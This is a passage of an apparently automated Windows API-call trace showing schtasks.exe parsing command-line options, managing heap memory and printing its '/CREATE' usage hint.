RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.679] lstrlenW (lpString="create") returned 6 [0118.679] lstrlenW (lpString="create") returned 6 [0118.679] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.679] lstrlenW (lpString="f") returned 1 [0118.679] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.679] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|create|") returned 8 [0118.679] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|f|") returned 3 [0118.679] lstrlenW (lpString="|create|") returned 8 [0118.679] lstrlenW (lpString="|f|") returned 3 [0118.679] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0118.679] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.679] lstrlenW (lpString="delete") returned 6 [0118.679] lstrlenW (lpString="delete") returned 6 [0118.679] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.679] lstrlenW (lpString="f") returned 1 [0118.679] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.679] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|delete|") returned 8 [0118.679] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|f|") returned 3 [0118.679] lstrlenW (lpString="|delete|") returned 8 [0118.679] lstrlenW (lpString="|f|") returned 3 [0118.679] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0118.679] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.679] lstrlenW (lpString="query") returned 5 [0118.679] lstrlenW (lpString="query") returned 5 [0118.679] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.680] lstrlenW (lpString="f") returned 1 [0118.680] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.680] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|query|") returned 7 [0118.680] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|f|") returned 3 [0118.680] lstrlenW (lpString="|query|") returned 7 [0118.680] lstrlenW (lpString="|f|") returned 3 [0118.680] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0118.680] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.680] lstrlenW (lpString="change") returned 6 [0118.680] lstrlenW (lpString="change") returned 6 [0118.680] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.680] lstrlenW (lpString="f") returned 1 [0118.680] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.680] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|change|") returned 8 [0118.680] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|f|") returned 3 [0118.680] lstrlenW (lpString="|change|") returned 8 [0118.680] lstrlenW (lpString="|f|") returned 3 [0118.680] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0118.680] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.680] lstrlenW (lpString="run") returned 3 [0118.680] lstrlenW (lpString="run") returned 3 [0118.680] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.680] lstrlenW (lpString="f") returned 1 [0118.680] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.680] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|run|") returned 5 [0118.681] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|f|") returned 3 [0118.681] lstrlenW (lpString="|run|") returned 5 [0118.681] lstrlenW (lpString="|f|") returned 3 [0118.681] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0118.681] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.681] lstrlenW (lpString="end") returned 3 [0118.681] lstrlenW (lpString="end") returned 3 [0118.681] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.681] lstrlenW (lpString="f") returned 1 [0118.681] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.681] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|end|") returned 5 [0118.681] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|f|") returned 3 [0118.681] lstrlenW (lpString="|end|") returned 5 [0118.681] lstrlenW (lpString="|f|") returned 3 [0118.681] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0118.681] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.681] lstrlenW (lpString="showsid") returned 7 [0118.681] lstrlenW (lpString="showsid") returned 7 [0118.681] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.681] lstrlenW (lpString="f") returned 1 [0118.681] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.681] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|showsid|") returned 9 [0118.681] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|f|") returned 3 [0118.681] lstrlenW (lpString="|showsid|") returned 9 [0118.681] lstrlenW (lpString="|f|") returned 3 [0118.681] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0118.681] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.682] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.682] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.682] lstrlenW (lpString="/f") returned 2 [0118.682] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0118.682] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.682] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.682] lstrlenW (lpString="/f") returned 2 [0118.682] GetProcessHeap () returned 0x1a4f4a30000 [0118.682] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x6) returned 0x1a4f4a33bd0 [0118.682] GetProcessHeap () returned 0x1a4f4a30000 [0118.682] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b770 [0118.682] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.682] GetProcessHeap () returned 0x1a4f4a30000 [0118.682] GetProcessHeap () returned 0x1a4f4a30000 [0118.682] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a338d0) returned 1 [0118.682] GetProcessHeap () returned 0x1a4f4a30000 [0118.682] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a338d0) returned 0x8 [0118.682] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a338d0) returned 1 [0118.682] GetProcessHeap () returned 0x1a4f4a30000 [0118.682] GetProcessHeap () returned 0x1a4f4a30000 [0118.682] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b890) returned 1 [0118.682] GetProcessHeap () returned 0x1a4f4a30000 [0118.682] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b890) returned 0x20 [0118.683] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b890) returned 1 [0118.683] GetProcessHeap () returned 0x1a4f4a30000 [0118.683] GetProcessHeap () returned 0x1a4f4a30000 [0118.683] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3a8a0) returned 1 [0118.683] GetProcessHeap () returned 0x1a4f4a30000 [0118.683] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3a8a0) returned 0x14 [0118.683] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3a8a0) returned 1 [0118.683] GetProcessHeap () returned 0x1a4f4a30000 [0118.683] GetProcessHeap () returned 0x1a4f4a30000 [0118.683] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b530) returned 1 [0118.683] GetProcessHeap () returned 0x1a4f4a30000 [0118.683] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b530) returned 0x20 [0118.684] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b530) returned 1 [0118.684] GetProcessHeap () returned 0x1a4f4a30000 [0118.684] GetProcessHeap () returned 0x1a4f4a30000 [0118.684] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a33b30) returned 1 [0118.684] GetProcessHeap () returned 0x1a4f4a30000 [0118.684] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a33b30) returned 0x8 [0118.684] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a33b30) returned 1 [0118.684] GetProcessHeap () returned 0x1a4f4a30000 [0118.684] GetProcessHeap () returned 0x1a4f4a30000 [0118.684] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b2f0) returned 1 [0118.684] GetProcessHeap () returned 0x1a4f4a30000 [0118.684] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b2f0) returned 0x20 [0118.684] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b2f0) returned 1 [0118.684] GetProcessHeap () returned 0x1a4f4a30000 [0118.684] GetProcessHeap () returned 0x1a4f4a30000 [0118.684] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3a860) returned 1 [0118.684] GetProcessHeap () returned 0x1a4f4a30000 [0118.684] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3a860) returned 0xe [0118.684] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3a860) returned 1 [0118.684] GetProcessHeap () returned 0x1a4f4a30000 [0118.685] GetProcessHeap () returned 0x1a4f4a30000 [0118.685] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b560) returned 1 [0118.685] GetProcessHeap () returned 0x1a4f4a30000 [0118.685] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b560) returned 0x20 [0118.685] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b560) returned 1 [0118.685] GetProcessHeap () returned 0x1a4f4a30000 [0118.685] GetProcessHeap () returned 0x1a4f4a30000 [0118.685] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a33b50) returned 1 [0118.685] GetProcessHeap () returned 0x1a4f4a30000 [0118.685] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a33b50) returned 0x8 [0118.685] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a33b50) returned 1 [0118.685] GetProcessHeap () returned 0x1a4f4a30000 [0118.685] GetProcessHeap () returned 0x1a4f4a30000 [0118.685] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b500) returned 1 [0118.685] GetProcessHeap () returned 0x1a4f4a30000 [0118.685] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b500) returned 0x20 [0118.685] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b500) returned 1 [0118.686] GetProcessHeap () returned 0x1a4f4a30000 [0118.686] GetProcessHeap () returned 0x1a4f4a30000 [0118.686] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a33b70) returned 1 [0118.686] GetProcessHeap () returned 0x1a4f4a30000 [0118.686] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a33b70) returned 0x6 [0118.686] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a33b70) returned 1 [0118.686] GetProcessHeap () returned 0x1a4f4a30000 [0118.686] GetProcessHeap () returned 0x1a4f4a30000 [0118.686] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b620) returned 1 [0118.686] GetProcessHeap () returned 0x1a4f4a30000 [0118.686] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b620) returned 0x20 [0118.686] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b620) returned 1 [0118.783] GetProcessHeap () returned 0x1a4f4a30000 [0118.783] GetProcessHeap () returned 0x1a4f4a30000 [0118.783] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a33b90) returned 1 [0118.783] GetProcessHeap () returned 0x1a4f4a30000 [0118.783] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a33b90) returned 0x8 [0118.784] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a33b90) returned 1 [0118.784] GetProcessHeap () returned 0x1a4f4a30000 [0118.784] GetProcessHeap () returned 0x1a4f4a30000 [0118.784] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b800) returned 1 [0118.784] GetProcessHeap () returned 0x1a4f4a30000 [0118.784] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b800) returned 0x20 [0118.785] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b800) returned 1 [0118.785] GetProcessHeap () returned 0x1a4f4a30000 [0118.785] GetProcessHeap () returned 0x1a4f4a30000 [0118.785] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3c1e0) returned 1 [0118.785] GetProcessHeap () returned 0x1a4f4a30000 [0118.785] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3c1e0) returned 0x3a [0118.786] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3c1e0) returned 1 [0118.786] GetProcessHeap () returned 0x1a4f4a30000 [0118.786] GetProcessHeap () returned 0x1a4f4a30000 [0118.786] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b380) returned 1 [0118.786] GetProcessHeap () returned 0x1a4f4a30000 [0118.786] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b380) returned 0x20 [0118.786] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b380) returned 1 [0118.787] GetProcessHeap () returned 0x1a4f4a30000 [0118.787] GetProcessHeap () returned 0x1a4f4a30000 [0118.787] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a33bb0) returned 1 [0118.787] GetProcessHeap () returned 0x1a4f4a30000 [0118.787] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a33bb0) returned 0x8 [0118.787] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a33bb0) returned 1 [0118.787] GetProcessHeap () returned 0x1a4f4a30000 [0118.787] GetProcessHeap () returned 0x1a4f4a30000 [0118.787] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b4d0) returned 1 [0118.787] GetProcessHeap () returned 0x1a4f4a30000 [0118.787] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b4d0) returned 0x20 [0118.788] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b4d0) returned 1 [0118.788] GetProcessHeap () returned 0x1a4f4a30000 [0118.788] GetProcessHeap () returned 0x1a4f4a30000 [0118.788] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3a800) returned 1 [0118.788] GetProcessHeap () returned 0x1a4f4a30000 [0118.788] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3a800) returned 0x10 [0118.789] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3a800) returned 1 [0118.789] GetProcessHeap () returned 0x1a4f4a30000 [0118.789] GetProcessHeap () returned 0x1a4f4a30000 [0118.789] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b320) returned 1 [0118.789] GetProcessHeap () returned 0x1a4f4a30000 [0118.789] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b320) returned 0x20 [0118.790] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b320) returned 1 [0118.790] GetProcessHeap () returned 0x1a4f4a30000 [0118.790] GetProcessHeap () returned 0x1a4f4a30000 [0118.790] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a33bd0) returned 1 [0118.790] GetProcessHeap () returned 0x1a4f4a30000 [0118.790] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a33bd0) returned 0x6 [0118.790] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a33bd0) returned 1 [0118.790] GetProcessHeap () returned 0x1a4f4a30000 [0118.790] GetProcessHeap () returned 0x1a4f4a30000 [0118.790] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b770) returned 1 [0118.790] GetProcessHeap () returned 0x1a4f4a30000 [0118.790] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b770) returned 0x20 [0118.791] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b770) returned 1 [0118.791] GetProcessHeap () returned 0x1a4f4a30000 [0118.791] GetProcessHeap () returned 0x1a4f4a30000 [0118.791] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34a30) returned 1 [0118.791] GetProcessHeap () returned 0x1a4f4a30000 [0118.791] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34a30) returned 0x18 [0118.791] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34a30) returned 1 [0118.792] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.792] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0118.792] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0118.793] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0118.793] RtlVerifyVersionInfo (VersionInfo=0x791ed4c0a0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0118.793] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.796] lstrlenW (lpString="create") returned 6 [0118.796] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0118.796] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.796] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.796] lstrlenW (lpString="create") returned 6 [0118.796] GetProcessHeap () returned 0x1a4f4a30000 [0118.797] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b770 [0118.797] GetProcessHeap () returned 0x1a4f4a30000 [0118.797] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a3ab40 [0118.797] _memicmp (_Buf1=0x1a4f4a3ab40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.797] GetProcessHeap () returned 0x1a4f4a30000 [0118.797] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x16) returned 0x1a4f4a3aa20 [0118.797] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.797] _memicmp (_Buf1=0x1a4f4a34820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.797] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1a4f4a396b0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0118.797] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x791ed4c1f8 | out: lpdwHandle=0x791ed4c1f8) returned 0x76c [0118.798] GetProcessHeap () returned 0x1a4f4a30000 [0118.798] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x776) returned 0x1a4f4a3c4a0 [0118.798] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1a4f4a3c4a0 | out: lpData=0x1a4f4a3c4a0) returned 1 [0118.799] VerQueryValueW (in: pBlock=0x1a4f4a3c4a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x791ed4c190, puLen=0x791ed4c1f0 | out: lplpBuffer=0x791ed4c190*=0x1a4f4a3c850, puLen=0x791ed4c1f0) returned 1 [0118.799] _memicmp (_Buf1=0x1a4f4a34820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.799] _vsnwprintf (in: _Buffer=0x1a4f4a396b0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x791ed4c168 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0118.799] VerQueryValueW (in: pBlock=0x1a4f4a3c4a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x791ed4c180, puLen=0x791ed4c1e8 | out: lplpBuffer=0x791ed4c180*=0x1a4f4a3c680, puLen=0x791ed4c1e8) returned 1 [0118.799] lstrlenW (lpString="schtasks.exe") returned 12 [0118.799] lstrlenW (lpString="schtasks.exe") returned 12 [0118.799] lstrlenW (lpString=".EXE") returned 4 [0118.799] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0118.799] lstrlenW (lpString="schtasks.exe") returned 12 [0118.800] lstrlenW (lpString=".EXE") returned 4 [0118.800] lstrlenW (lpString="schtasks") returned 8 [0118.800] lstrlenW (lpString="/create") returned 7 [0118.800] _memicmp (_Buf1=0x1a4f4a34820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.800] _vsnwprintf (in: _Buffer=0x1a4f4a396b0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x791ed4c168 | out: _Buffer="schtasks /create") returned 16 [0118.800] _memicmp (_Buf1=0x1a4f4a32100, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.800] GetProcessHeap () returned 0x1a4f4a30000 [0118.800] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b3e0 [0118.801] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.801] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0118.801] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0118.801] GetProcessHeap () returned 0x1a4f4a30000 [0118.801] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x30) returned 0x1a4f4a33b30 [0118.801] _vsnwprintf (in: _Buffer=0x1a4f4a34260, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x791ed4c168 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0118.801] GetProcessHeap () returned 0x1a4f4a30000 [0118.801] GetProcessHeap () returned 0x1a4f4a30000 [0118.801] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3c4a0) returned 1 [0118.801] GetProcessHeap () returned 0x1a4f4a30000 [0118.801] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3c4a0) returned 0x776 [0118.802] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3c4a0) returned 1 [0118.802] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.802] GetThreadLocale () returned 0x409 [0118.803] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.803] lstrlenW (lpString="create") returned 6 [0118.803] GetThreadLocale () returned 0x409 [0118.803] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.803] lstrlenW (lpString="?") returned 1 [0118.803] GetThreadLocale () returned 0x409 [0118.803] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.803] lstrlenW (lpString="s") returned 1 [0118.803] GetThreadLocale () returned 0x409 [0118.803] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.803] lstrlenW (lpString="u") returned 1 [0118.803] GetThreadLocale () returned 0x409 [0118.803] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.804] lstrlenW (lpString="p") returned 1 [0118.804] GetThreadLocale () returned 0x409 [0118.804] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.804] lstrlenW (lpString="ru") returned 2 [0118.804] GetThreadLocale () returned 0x409 [0118.804] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.804] lstrlenW (lpString="rp") returned 2 [0118.804] GetThreadLocale () returned 0x409 [0118.804] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.804] lstrlenW (lpString="sc") returned 2 [0118.804] GetThreadLocale () returned 0x409 [0118.804] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.804] lstrlenW (lpString="mo") returned 2 [0118.804] GetThreadLocale () returned 0x409 [0118.804] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.805] lstrlenW (lpString="d") returned 1 [0118.805] GetThreadLocale () returned 0x409 [0118.805] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.805] lstrlenW (lpString="m") returned 1 [0118.805] GetThreadLocale () returned 0x409 [0118.805] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, 